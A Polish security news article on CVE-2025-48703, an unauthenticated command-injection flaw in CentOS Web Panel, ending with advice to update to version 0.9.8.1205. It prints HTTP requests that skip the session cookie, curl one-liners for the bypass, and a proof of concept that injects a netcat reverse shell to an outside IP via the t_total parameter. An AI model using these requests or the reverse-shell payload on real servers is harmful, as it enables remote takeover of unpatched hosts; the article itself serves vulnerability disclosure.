Mega Sekurak Hacking Party w Krakowie! 20.10.2025 r. Bilety -30%
Zdalne wykonanie kodu bez uwierzytelnienia na Centosie – panel CWP
CentOS Web Panel to darmowe rozwiązanie dostępne na systemach z rodziny CentOS (lub korzystających z RPM), składające się właściwie z dwóch elementów. Oferuje interfejs administratorski do zarządzania serwerem, konfiguracji usług takich jak serwery WWW, poczty e-mail czy DNS. Oprócz tego, na innym porcie udostępniany jest drugi panel dla użytkowników końcowych, którzy chcieliby zarządzać parametrami hostingu (np. bazy danych, instalacja CMS etc.). Ten pierwszy wymaga poświadczeń administratora/root’a. CWP stanowi alternatywę dla płatnych rozwiązań typu Plesk.
TLDR:
- Świeża podatność oznaczona CVE-2025-48703 pozwala na zdalne wykonanie kodu bez uwierzytelnienia poprzez command injection w CentOS Web Panel (CWP).
- Do wykorzystania podatności wystarczy znajomość nazwy użytkownika obecnego w systemie (nie root).
- Luka została załatana w wersji 0.9.8.1205 CWP.
Obie aplikacje zostały napisane w PHP a kod źródłowy został zabezpieczony przy pomocy obfuskacji IonCube, przez co analiza kodu źródłowego może być utrudniona.
Badaczom z fenrisk udało się znaleźć podatności pozwalające na ominięcie uwierzytelnienia oraz zdalne wykonanie kodu (ang. remote code execution) przy pomocy wstrzyknięcia własnych komend w wykonywane przez oprogramowanie polecenia systemowe (ang. command injection).
Za obsługę paneli zarządzania CWP odpowiada serwer cwpsrv. Jak przytaczają autorzy badania, obecnie wystawionych do Internetu jest ponad 200 000 instancji serwerów WWW, które można zidentyfikować jako cwpsrv.

Problemy z autoryzacją i uwierzytelnieniem zlokalizowane zostały w funkcjonalności pozwalającej na zmianę uprawnień do plików. Okazuje się, że żądanie zmiany atrybutów pliku nie wymaga podania prawidłowego ciastka sesyjnego – zapytanie pomimo jego pominięcia zostaje przetworzone przez serwer i jeśli dotyczy istniejącego pliku, do którego użytkownik ma dostęp, to podejmuje wymagane akcje.
Atakujący musi jednak znać poprawną nazwę użytkownika, który istnieje w systemie, ponieważ jest on zdefiniowany w URL zapytania, oraz dotyka plików w katalogu domowym użytkownika nie będącego rootem (taki użytkownik może zostać dodany do systemu przez administracyjny panel CWP).
POST /cwp_30776ec647a8f390/myuser/myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
Cookie: cwpsrv-3683e20446a6b40715757e2b05f10521=av0ebj5m5arro35vndm24lufhp; _firstImpression=true; cwpsrv-User-7b897959c0572726e032b381da363f2f=q8aefhfb7dq44m30gorb6a4k5f; cwp-well-known=6a28d0ddbd2d807d5aa015636f065b89
[....]
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"
.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"
/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"
644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–
Okrojony dla zwiększenia czytelności fragment zapytania, które identyfikuje użytkownika przez URL i ciasteczko (źródło)
W przypadku zmiany zapytania poprzez usunięcie ciasteczka możliwe jest obejście uwierzytelnienia i zmiana atrybutów plików.
POST /myuser/index.php?module=filemanager&acc=changePerm HTTP/1.1
Host: 127.0.0.1:2083
[...]
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"
.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"
/home/myuser/
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"
644
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–
Okrojone dla zwiększenia czytelności zapytanie nie zawierające ciasteczka sesyjnego (źródło)
Jak wskazują autorzy, powyższe zapytanie można zamienić na jednolinijkowe polecenie CURLa:
curl -kis 'https://127.0.0.1:2083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc¤tPath=/home/myuser/&t_total=644'
Przedstawione zapytania tłumaczą część “nieuwierzytelnionego” ataku. Jak można było doprowadzić do najważniejszej części ataku – wykonania kodu? Parametr t_total w powyższym zapytaniu nie jest poddawany żadnemu procesowi sanityzacji i trafia bezpośrednio do polecenia zmieniającego atrybuty pliku. Co za tym idzie podmiana jego wartości z użyciem operatora $() powoduje wstrzykniecie komendy zdefiniowanej przez atakującego.
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"
$(arbitrary_command)
------WebKitFormBoundaryrTrcHpS9ovyhBLtb–
Fragment PoC’a, który wstrzykuje komendy zdefiniowane przez atakującego do polecenia chmod, które wywoływane jest przez serwer CWP (źródło)
Atak można przeprowadzić przy pomocy CURLa:
curl -kis 'https://127.0.0.1:52083/myuser/index.php?module=filemanager&acc=changePerm' --data 'fileName=.bashrc¤tPath=/home/myuser&t_total=`nc 1.2.3.4 9999 -e /bin/bash`'
Jak widać opisany błąd jest trywialny do wykorzystania i łatwy w automatyzacji. Sam fakt publikacji informacji o tej podatności nie umknął twórcom Metasploita, co może skutkować wzrostem ataków (z drugiej strony oskryptowanie tego ataku nie przekracza aż tak bardzo umiejętności przeciętnego cyberprzestępcy więc może zobaczymy też “autorskie” eksploity). Podatność została zgłoszona w połowie maja, a autorzy CWP wydali łatkę w połowie czerwca. Upewnijcie się, że Wasz CWP został podniesiony do wersji przynajmniej 0.9.8.1205.
~Black Hat Logan